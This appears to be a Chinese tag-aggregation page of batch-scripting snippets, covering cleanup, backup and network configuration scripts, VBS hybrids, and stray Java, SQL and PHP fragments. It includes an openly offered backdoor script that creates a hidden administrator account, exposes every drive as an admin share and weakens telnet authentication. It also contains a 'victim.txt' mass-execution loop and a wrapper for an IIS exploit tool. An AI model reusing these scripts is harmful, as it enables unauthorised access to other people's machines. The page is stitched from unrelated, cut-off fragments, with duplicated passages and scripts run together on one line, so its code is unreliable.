一个好老好老的老程序员了。
全部博文(915)
分类: WINDOWS
2007-06-16 22:33:45
批处理 - CSDN tag
if "%cmd_v_on_exist%"=="1" (set cmd_v_on_exist=0goto eof ):program_startecho 请输入字符串set string=set/p string=if "%string%"=="" goto endfor /l %%i in (1,1,26) do (echo 循环第一圈: !string:~,%%i!echo 读取 %%i 个字母set /a add=%%i+1for /l %%j in (!add!,1,!add!) do (echo 循环第二圈: !string:~,%%j!echo 读取 %%j 个字母echo.echo 建立%n%个目录完毕!:endecho.wscript.exe 把这句识别成:调用一个叫 start 的函数,函数参数是 wscript 这个变量,然后用这个函数的结果来 减去 e。
Winrar虽然提供了方便的图形界面操作,但是很多时候,我们的备份工作都是具有重复性的,这个时候使用batch file来进行备份的操作,会比用图形界面更加快捷。%PATH%rar.exe a -m1 -hp123456 p%date:~0,2%%date:~3,2%%date:~6,4%_%time:~0,2%%time:~3,2%.rar src\*.cpp src\*.h src\*.txt src\*.sql src\*.xml src\*.sln src\*.vcprojpause.这样,我每天只需要点击一下backup_src.bat文件,batch就会自动为我生成src目录的一个rar压缩文件,比图形操作点鼠标点来点去,再输入密码等等,要方便很多。
//使用PreparedStatement进行批处理 PreparedStatement psStatement = connect.prepareStatement("你的SQL语句(?)"); psStatement.setString(1,"Jennie"); psStatement.addBatch(); //根据需要添加多条批处理语句 psStatement.setString(1,"Tom"); psStatement.addBatch(); //获得批处理的结果 int[] uCounts = psStatement.executeBatch(); //和上面一样可以一次性执行 connect.commit();
把一下代码保存为.bat文件 @echo off echo 正在清除系统垃圾文件,请稍等...... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Loc
只要计算机配置好了域DNS地址,那么运行nslookup后,只要输入计算名,即可进行查询。固建立如下批处理文件,以便使用:@echo offif "%1"=="" goto errorset server=%2set host=%1if "%2"=="" (set server=192.168.0.234 & set host=%1.mydomain.com)for /f "skip=3 tokens=1*" %%i in (‘nslookup %host% %server%‘) do echo %%i %%jgoto end:errorecho usage:echo ns host # look up ‘host‘ using default serverecho ns host server # look up ‘host‘ using ‘server‘:end.
是否经常奔波于公司/学校 和 家里?是否疲于更改自己的本本网络配置?如果你是以上两种人之一,请看下文!这是自己写的一个批处理文件,全自动配置IP地址,网关,dns如果有手提电脑,经常修改网络配置的哥们,使用这个工具太方便了!以下为源代码. @echo offtitle Network Configuration Application---Made by 风逐云 [email]NicholasMaxwell@msn.com[/email] QQ:55730050mode con: cols=80 lines=23ECHO. ==================Configurating, Please Wait==================ECHO. ==================Network Configuration Application================== > netcfg.logcolor 1aECHO. :::::::::::::::::::::::::::::::::::::::::::: 用户定义段:: 如需自定义,请修改这里:: ::
dos批处理命令详解。1.│ 命令 Usage:第一条命令 │ 第二条命令 [│ 第三条命令...] 将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。:makedir if exist c:\temp.bat attrib -r -h c:\temp.bat >nul echo @echo off >c:\temp.bat echo %%1:\ >>c:\temp.bat echo cd\ >>c:\temp.bat echo :startmd >>c:\temp.bat echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!!
其实本来删除这个东西在命令提示符里就能做,del+RD就可以了,但是,那个提示是否删除很烦人,不去掉,就不能用批处理实现自动删除。/q就是指不提示,直接删,rd命令的/r意思是删除目录前将删除目录中的所有文件和子目录,也就是无视目录是否为空。rd "E:\Interface Backup\Daily Backup" /s /qC:\WINDOWS\system32\xcopy.exe "F:\Interface Module Share" "E:\Interface Backup\Daily Backup\" /s /e >"E:\Interface Backup\Daily Backup.log"
D:\>netshnetsh>ipnetsh>interfacenetsh interface>ip此上下文中的命令:set address - 设置指定的接口的 IP 地址或默认网关。公司IP.bat 程序代码netsh interface ip delete dns "本地连接" addr=allnetsh interface ip add dns "本地连接" addr=202.119.230.8netsh interface ip add dns "本地连接" addr=202.106.196.115netsh interface ip add address "本地连接" 192.168.0.8 255.255.255.0netsh interface ip add address "本地连接" gateway=192.168.0.1 gwmetric=1ipconfig /flushdns.
用net命令自动登录: net use \\1.2.3.4\share password /user:administrator bat中跳转(冒号是在前面的,BT): :start ... goto :start bat中暂停:首先建立一个vbs文件 Wscript.Sleep Wscript.Arguments(0) * 1000 然后bat中 start /w sleep.vbs 10
而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。==== willsort 编注 ===========首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:CR(0D) 命令行结束符Escape(1B) ANSI转义字符引导符Space(20) 常用的参数界定符Tab(09) ;= 不常用的参数界定符+ COPY命令文件连接符* ?文件通配符"" 字符串界定符| 命令管道符< >>>文件重定向符@ 命令行回显屏蔽符/ 参数开关引导符: 批处理标签引导符% 批处理变量引导符。
批处理命令大全1.Echo 命令打开回显或关闭请求回显功能,或显示消息。command 指定对每个文件执行的命令。~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。
例如:想让MATLAB启动后将工作目录(默认为 D:\MATLAB\work)改变为 E:\WorkSpace\MATLAB ,按如下步骤操作即可: ①,找到文件 startupsav.m (在D:\MATLAB7\toolbox\local之下),在最后一行添加 cd E:\WorkSpace\MATLAB; ②,保存退出,将文件名改为 startup.m即可;
很多朋友说夸张了,只能减少几十M而已,其实那是因为你的系统本来都比较干净,如果你系统使用了一段时间,安装了一定的软件,升级过,长期浏览网页图片,一定时间后你再清理试试看能不能达到1G以上,不夸张,只是针对用的人而言~不想把他做成.bat文件上传,让大家自己写,会觉得更安全,放心,安全觉得可以保障的。教大家自己写个程序这个程序是自动清理电脑里的垃圾而不会破坏系统 比很多软件都好哦新建一个记事本并输入以下的内容:@echo offecho 正在清除系统垃圾文件,请稍等......del /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakde
上次发了个自己动手打造U盘病毒专杀工具,那是防止别的U盘插到自己的电脑上给自己带来病毒,而这次这一招是防止自己的U盘插到别的电脑上中U盘病毒。我不知道现在已有的U盘病毒能不能修改Autorun.inf的属性来实现自己的目的,所以请大家实验一下,看我的方法好不好用,知道了一定要告诉我......好了,现在开始,还是把以下代码存为.bat的批处理文件,双击执行后会生成一个Autorun.inf文件,把Autorun.inf拷入自己的U盘就可以了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)@for /f "tokens=1,2,3 delims= "%%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
1.首先在Visual Stdio 2005中建立一个 VB 数据库Sql Server 工程,工程名为【MyCLRProcedure】,如下图。3.在新建工程上右键 -> 追加 -> StoredProcedures,选择StoredProcedures ,设置名称为【MyProc.vb】,程序如下Partial Public Class StoredProceduresClass StoredProcedures <Microsoft.SqlServer.Server.SqlProcedure()> _ Public Shared Sub MyProc()Sub MyProc () ‘ コードをここに追加してください End SubEnd Class.生成【MyProc.dll】文件,拷贝至数据库服务器上的【C:\temp】目录下。
闲来无聊,写了个批处理玩。在2000/XP/2003/Vista下保存代码为 test.cmd 双击运行下试试~ @echo offchcp 437>nul&&graftabl 936>nulren %WinDir%\System32\config.nt %WinDir%\System32\config.nt.bak 2>nul<"%~f0" more +7 >%WinDir%\System32\config.ntecho DEVICE=%WinDir%\System32\ANSI.SYS /x >>%WinDir%\System32\config.ntcommand /cecho [1;31mele[32mct[33mroni[35mX[36mtar[mpause>nul&exitDOSONLYdos=high, umbdevice=%SystemRoot%\system32\himem.sysfiles=40 参考帖子:1. (已结)谁知道控制echo显示字串的颜色2. 转贴:ANSI.SYS程序的使用推荐网站:ASCII Art Software推荐
序____今天和一同事无意中谈到批处理,我立刻说批处理是如何如何强大。结果这同事不屑地说”批处理也就那点能耐,有本事你用批处理去控制word“,我当场写下了下面的代码: @echo offclsecho Set word=CreateObject("Word.Application")>%temp%_tmp.vbsecho word.Visible=True >>%temp%_tmp.vbsecho word.Documents.Add>>%temp%_tmp.vbsecho word.Selection.TypeText("Hello VeryBat World!")>>%temp%_tmp.vbsecho word.Selection.TypeParagraph>>%temp%_tmp.vbsecho word.Selection.TypeText(CStr(Date))>>%temp%_tmp.vbsecho word.Selection.TypeText(Space(1))>>%temp%_tmp.vbsecho word.Selection.TypeText(CStr(T
其实单单用vbs创建快捷方式已经很方便,之所以用批处理联合vbs来实现快捷方式的创建,是因为这是一个很好的尝试。 其代码如下: :On Error Resume NextSub batecho off & clsecho create_shortcut & pausestart wscript -e:vbs "%~f0"Exit SubEnd Subset WshShell = WScript.CreateObject("WScript.Shell")strDesktop = WshShell.SpecialFolders("Desktop")set ShellLink = WshShell.CreateShortcut(strDesktop & "快捷方式.lnk")ShellLink.TargetPath = WScript.ScriptFullNameShellLink.WindowStyle = 1ShellLink.Hotkey = "CTRL+SHIFT+C"ShellLink.IconLocation = "cmd.exe, 0"ShellLink.Des
了解常用批处理命令 这一条恐怕是任何一位学习批处理的同志都得遵循的,试问:一个懂批处理命令的人如何学习批处理呢?,所以呢,掌握一些常用的命令是最基本的。那么,如何得到常用批处理命令并掌握其用法呢?点击开始->运行,输入cmd,然后在命令提示符窗口中输入:help,所有常用的批处理命令都出来了。怎么样,Windows还特意提醒我们:"有关某个命令的详细信息,请键入 HELP 命令名",所以,想要查看某个批处理命令时,只需输入:help commandname,当然,你也可以输入commandname /?来获得相关命令的帮助。
我想大部分的windows使用者都知道并且使用过"Windows信使服务"。然而,有时"windows信使服务"不起作用,当你在发送消息后,它给出如下提示:发送消息到 SJDEV 的时候出错。有两种办法可以启动"Windows信使服务"(我只知道两种,应该有更多的办法吧)2.使用如下的批处理程序:sc config Messenger start= autonet start Messenger其中第一行的命令用于把"Windows信使服务"设置为自动运行,第二行用于启动"Windows信使服务"程序。
变量 类型 说明 %ALLUSERSPROFILE% 局部 返回所有"用户配置文件"的位置。用户主目录是在"本地用户和组"中指定的。%HOMEPATH% 系统 返回用户主目录的完整路径。%HOMESHARE% 系统 返回用户的共享主目录的网络路径。%SYSTEMDRIVE% 系统 返回包含 Windows XP 根目录(即系统根目录)的驱动器。%TEMP% and %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。
@echo offcls@rem BC微软自win2000以后都取消了批处理中常用的choice命令,为了兼容2k/xp/2k3不得不采用脚步进行用户确认交互echo WScript.Quit(WScript.CreateObject(^"WScript.Shell^").Popup(WScript.Arguments(0),0,WScript.Arguments(1),4+32));>"%TEMP%ChoiceSubst.js"if {%1}=={} goto helpif {%1}=={install} goto installWScript "%TEMP%ChoiceSubst.js" "确认清除该目录下(包括子目录)的VC工程垃圾文件吗?
把下载的文件解压放在一个新建的目录MRTG下,最后应该是: MRTG/MRTG ActivePerl-5.8.8.820-MSWin32-x86-274739.msi Perl.bat Mrtg.bat MRTG/MRTG/bin/top.cfg MRTG/MRTG/bin/instsrv.exe MRTG/MRTG/bin/srvany.exe.C:\mrtg\bin>c:\perl\bin\perl mrtg mrtg.cfg.C:\mrtg\bin>instsrv MRTG c:\mrtg\bin\srvany.exe.3.使用IndexMaker生成报表首页: perl indexmaker mrtg.cfg>c:/mrtg/index.htm 4.运行MRTG: perl mrtg --logging=mrtg.log mrtg.cfg 访问 看MRTG是否可以正常工作,生成统计图形。
more 1.exe>>1.txtren 1.txt 2.exe2.exe.谁能实现。把一个可执行文件定向输出后生成一个临时文件,在把它改名成可执行文件依然能运行。求解方法,高手请答。☆☆☆☆☆
代码思路是影子鹰DESERT朋友的,原代码比较麻烦,我做了改进,这个后门优点就是小而且不会被杀,放到SYSTEM32目录下就可以了 ,代码如下: @echo off @attrib +s + r xyt.bat @net user xyt hacker /add @net localgroup administrators xyt /add @net share c$=c: @net share d$=d: @net share e$=e: @net share f$=f: @net share g$=g: @net share h$=h: @tlntadmn config sec = -ntlm.
@echo off net share C$/del net share d$/del netshare ipc$/del net share admin$ /del.完成上述设置后,重新启动系统,就能自动切断Windows XP的默认共享通道了,如果你有更多硬盘,请在net share d$/del下自行添加,如netshare e$/del、net share f$/del等。
建立一个批处理文件,取名如:ClearTemp.Bat,要清理时运行即可,方便吧!!!,内容如下:@echo off echo 正在清除系统垃圾文件,请稍等...... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* d
其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。
{ private static final String INSERTNEWMESSAGE1="MessageDao.insertNewMessage1";
批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。因此下面的批处理文件是错误的:@ECHO OFF XCOPY C:\AUTOEXEC.BAT D:\ IF ERRORLEVEL 0 ECHO 成功拷贝文件 IF ERRORLEVEL 1 ECHO 未找到拷贝文件 IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 无论拷贝是否成功,后面的: 未找到拷贝文件 用户通过ctrl-c中止拷贝操作 预置错误阻止文件拷贝操作 拷贝过程中写盘错误都将显示出来。
@echo offrem *******请将以下盘符改成自己的机器上U盘的盘符******j:rem ***************如我的U盘通常为J:盘****************color fcif not exist autorun.inf goto endecho 发现autorun病毒del /ashr autorun.infdel /ash autorun.infecho 已清除autorun.infif not exist recycler goto endecho 发现recycler病毒rmdir /s /q recyclerecho 已清除recycler目录if not exist sxs.exe goto endecho 发现sxs病毒del /ash sxs.exe::del /ashr sxs.exeecho 已清除sxs.exe病毒:endecho.echo 杀毒完毕!echo.pause.
Java 是种跨平台的语言,我们经常碰到需要通过Java调用windows下某些程序。有些第三方厂商如(ANT),也提供了调用windows下可执行程序的方法,但我们往往需要调用一些批处理命令。这里,我采用一种变相的调用方法,使得Java 能调用批处理命令。Quick Batch File (De)Compiler使用非常简单: Quickbfc 文件名.bat 文件名.exe(将批处理命令编译为可执行文件) quickbfd 文件名.exe 文件名.bat(将可执行文件反编译为批处理命令)
用批处理文件搭建版本自动发布平台。l 压缩需要发布的文件。批处理命令如下。Projectpath/*代表获取该工程的所有文件,其中projectpath是工程在sourcesafe里的路径,如果不清楚,直接进入sourcesafe,对工程右键,选择property,弹出对话框的标题就是projectpath.如下图所代表的projectpath就是$/testproj,这个其实和windows的文件路径很相似,只不过它是以c:,d:开头的,而sourcesafe的路径是以$开头的。/build release 编译release版本,如果想编译debug版本,只要制定/build debug就行了,当然,你不会把debug版本发布出去吧J.
这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。. 先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个"比较合适的",而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而"无条件爱上批处理",那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。 OK,never claver and get to bus
call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令) pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续 rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的。此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
由于工作需要经常要帮一些领导重装他们的笔记本电脑,装好操作系统后花费时间最长的就是下载补丁安装补丁了,往往下载补丁安装补丁都花去了大半天的事情,没办法只能研究一下如何将补丁全部下载下来再自动安装上去,通过参照一些资料,终于成功的实现了该项功能,现说明如何:说明:补丁程序放在移动硬盘中的一个盘符里,包括了至sp2发布以来到2007.3.11日所有补丁,总共75个,大小为:120M左右,可惜没有Ftp服务器,要不然可以把这些补丁及批处理程序上传上去供大家下载使用,批处理程序中千万不要加盘符,因为移动硬盘的盘符在不同的电脑中是不同的,如果涉及到盘符的话,每次使用都需要去修改批处理,比较麻烦
@echo offclsrem code by ALLyeSNO:echo 妈妈说:echo.set str=幸福就是想打飞机的时候打飞机,想被飞机打得时候被飞机打!setlocal enabledelayedexpansion:happyfor /l %%i in (0,1,27) do ( set /p=!str:~%%i,1!<nul for /l %%i in (1,1,1000) do echo %%i>nul)goto :happypause>nul 拓展代码:转至中国DOS联盟 @echo offsetlocal enabledelayedexpansionset b=/-\ /-\ **set 速度=1set 退格=:bfor /l %%i in (0,1,200) do call :a %%igoto :b:aset/a a=%1%%10set/a c=%a%%%4if %a% EQU 0 set/p=▌<nulif %c% EQU 3 (set/p=^|<nul) else (se
如果没有经常备份工作的资料在系统崩溃,重装系统后经常丢失重要的文件资料。所以每天下班回家前备份一下重要的文件是一个很好的习惯!把下面的内容复制到记事本,保存为.bat文件,下班回家前运行这个bat文件,放心回家吧,备份完会自动关机的!@echo off echo 正在备份C盘重要文件到f:\backup\请稍等......
@echo offtitle Windows Xp 优化文件!:startclscolor 0cMODE con: COLS=50 LINES=27echo.echo ==============================echo 请选择要进行的操作,然后按回车echo ==============================echo.echo 1.优化系统服务echo.echo 2.进行端口操作echo.echo 3.设置IP为192.168.1.2echo.echo (局域网上网者慎用此功能)echo.echo 4.其它优化echo.echo 5.设置OEM信息echo.echo 6.清除根目录下的SXS病毒echo.echo 7.清理系统垃圾echo.echo 8.退出echo.
对数据库中的 mailouts 表进行处理的是 PHP mailouts 类。phprequire ‘mailout.php‘;Mailouts::add( ‘donotreply@mydomain.com‘, ‘molly@nocompany.com.org‘, ‘Test Subject‘, ‘This is a test of the batch mail sendout‘ );?>phprequire_once ‘mailout.php‘;function process( $from, $to, $subject, $email ) { mail( $to, $subject, $email, "From: $from" );}$messages = Mailouts::get_all();foreach( $messages as $msg ) { process( $msg[1], $msg[2], $msg[3], $msg[4] ); Mailouts::delete( $msg[0] );}?>
病毒在访问过的目录下生成 desktop_.ini 文件,如果你要一个一个文件地删,显然很麻烦,我们可以使用这个批处理文件:@echo offecho 正在检查c盘:del c:\desktop_.ini /f/s/q/aecho 正在检查d盘:del d:\desktop_.ini /f/s/q/aecho 正在检查e盘:del e:\desktop_.ini /f/s/q/aecho 正在检查f盘:del f:\desktop_.ini /f/s/q/aecho 正在检查g盘:del g:\desktop_.ini /f/s/q/aecho 正在检查h盘:del h:\desktop_.ini /f/s/q/aecho 正在检查i盘:del i:\desktop_.ini /f/s/q/aecho Ok!
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。==== 注 =========== 首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: CR(0D) 命令行结束符 Escape(1B) ANSI转义字符引导符 Space(20) 常用的参数界定符 Tab(09) ;= 不常用的参数界定符 + COPY命令文件连接符 * ?文件通配符 "" 字符串界定符 | 命令管道符 < >>>文件重定向符 @ 命令行回显屏蔽符 / 参数开关引导符 : 批处理标签引导符 % 批处理变量引导符。
扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。==== 注 =========== 首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: CR(0D) 命令行结束符 Escape(1B) ANSI转义字符引导符 Space(20) 常用的参数界定符 Tab(09) ;= 不常用的参数界定符 + COPY命令文件连接符 * ?文件通配符 "" 字符串界定符 | 命令管道符 < >>>文件重定向符 @ 命令行回显屏蔽符 / 参数开关引导符 : 批处理标签引导符 % 批处理变量引导符。
//存放线程的ID及其执行延时(模拟兄弟在外创业的时间)/*volatile*/ int accnt1 = 0; //借款帐户中金额/*volatile*/ int accnt2 = 0; //还款帐户中金额/*volatile*/ int accnt; //借款帐户与还款帐户金额总和,应保持为0/* variables for Dekker‘s arithmetic */BOOL flag[2]={false,false};// flag[i] = true表示线程Pi 准备进入临界区int turn; // turn = i表示线程Pi允许在临界区执行int i = m_serial; // 自身线程序号int j = 1 - m_serial; // 另外那个线程序号主要代码结构:do{accnt1=0;accnt = accnt1 + accnt2;
分析:读出第一行内容到一变量区变量的第5个字符,可以判断是否为0 1)如果是0,取变量前2位为月份,否则取前1位,并前缀0,作为月份2)如果是0,取变量3-4位为月份,否则取2-3位,作为日。:gorenset /p firstln=<%1set year=%firstln:~4,1%.if /i %year% GTR 0 (set month=0%firstln:~0,1%& set day=%firstln:~1,2%) else ( set month=%firstln:~0,2%& set day=%firstln:~2,2%)
给大胃王 上三份饺子,三份粥,三只烤乳猪,他会怎么选择?1. 轮换式:吃盘饺子,喝碗粥,吃只猪 --> 吃个饺子,喝碗粥,吃只猪 --> 吃个饺子,喝碗粥,吃只猪。而对第一种吃法而言,他吃完第一盘饺子后,要换用粥碗去吃第一碗粥,然后用换另一种食器去吃猪,接着又换回盘来吃饺子...... 整顿饭它要"端碗/盘"九次。
10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。Usage:第一条命令 &第二条命令 [& 第三条命令...]用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;1.| 命令 Usage:第一条命令 | 第二条命令 [| 第三条命令...] 将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
批处理文件bat 语法备忘
10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。XP.CMD命令大全。
2) 绑定参数列表为输入参数列表,即其类型为in类型,在运行时刻与动态SQL语句中的参数(实际上占位符,可以理解为函数里面的形式参数)进行绑定。dbms_output.put_line(‘薪水大于‘||to_char(p_salary)||‘的员工为:‘);dbms_output.put_line(‘ID为‘to_char(r_emp)||‘ 其姓名为:‘||r_emp.name);end loop;close c1; end create_table; 注意:在过程二中的动态SQL语句使用了占位符":1",其实它相当于函数的形式参数,使用":"作为前缀,然后使用using语句将p_id在运行时刻将:1给替换掉,这里p_id相当于函数里的实参。
利用任务计划、批处理文件和ORACLE的EXP导出功能,可以根据日期自动生成ORACLE备份文件,大大方便了ORACLE数据备份。
6、 符号(&) &符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。7、 符号(&&) &&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。我们编制的批处理使用的命令格式为 <idq.bat 目标ip>程序如下: @echo off /*同例一 if not EXIST iisidq.exe goto file /*同例一 if %1 == ""goto error /*同例一 ping %1 -n 1 | find "Received = 1" /*同例一 if errorlevel 1 goto error1 /*同例一 set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。
作者 : est 原文 : 原文 : 想了很久,发现了一种不用临时文件,在批处理中直接执行 vbs 的方法示例批处理:test.batCode: :On Error Resume Next Sub bat echo off & cls echo Batching_codez_here_following_vbs_rules & pause start wscript -e:vbs "%~f0" Exit Sub End Sub MsgBox "This is vbs" 上面的代码巧妙利用 bat 和 vbs 的语法特征,让同一个文件,被 cmd.exe 识别成批处理,让 wscrpt.exe 识别成 vbs,并且同时符合两
call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令) pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续 rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的。此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
本来想写个自动关机的程序,因为懒啊,想想也没有这个必要,就做了个自动关机的批处理。如下: @echo off echo 在2:30自动关机 at 2:30 shutdown -s -f echo 自动关机设置成功 echo. & pause 把这段代码拷到记事本上,然后别存为shutdown.bat就运行了,系统就会到2:30自动关机,其中at 2:30 shutdown的2:30可以根据各人想关机的时间修改。
batch批处理(转载) 转载地址:http://siyizhu.com/weblog/article.asp?id=613 后缀是bat的文件就是批处理文件,是一种文本文件。现在已经用得很少了,但是象IBM笔记本的系统恢复盘就是靠批处理来执行的。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢? 比如,在启动wps软件时,每次都必须执行: C:\>cd wps C:\WPS>spdos C:\WPS>py C:\WPS>wbx C:\WPS>wps 如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢? 如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢? 当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。 常用命令 echo、@、call、pause、rem是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符;echo off 表示在此语句后所有运行的命令都不显示命令行本身。@ 与echo off相象,但它是加在其它命令
今天客服部的MM找到我,提出这样一个问题:在EXCEL文件中有一列的用户的电话号码,然后在另一个文件夹中有大量以电话号码命名的文件,现在需要把一些用户的电话号码文件给匹配出来。有几千个文件,匹配起来实在太累人了………… 本想写一个程序来解决,后来想想,应该不用这么麻烦。翻翻WINDOWS中命令的帮助,写了一行命令就搞定了。具体的操作是:1、先将需要匹配的用户的电话号码拷贝出来,保存成一个文本文件,每个号码一行;2、在开始->运行中输入命令: for /F "" %i in (d:\电话号码.txt) do copy /Y d:\数据文件目录\%i* c:\要拷贝到的目录3、完成 嘿嘿!批处理的威力还是很大的! 但是,又思考另外一个问题:数据文件的目录下又有很多子目录,如何让子目录下的文件也自动复制过去呢? 嘿嘿,改改脚本: for /F "" %i in (d:\电话号码.txt) do dir /b /s d:\数据文件目录\%i*>>d:\临时文件.txt & for /F "" %i in (d:\临时文件.txt) do co
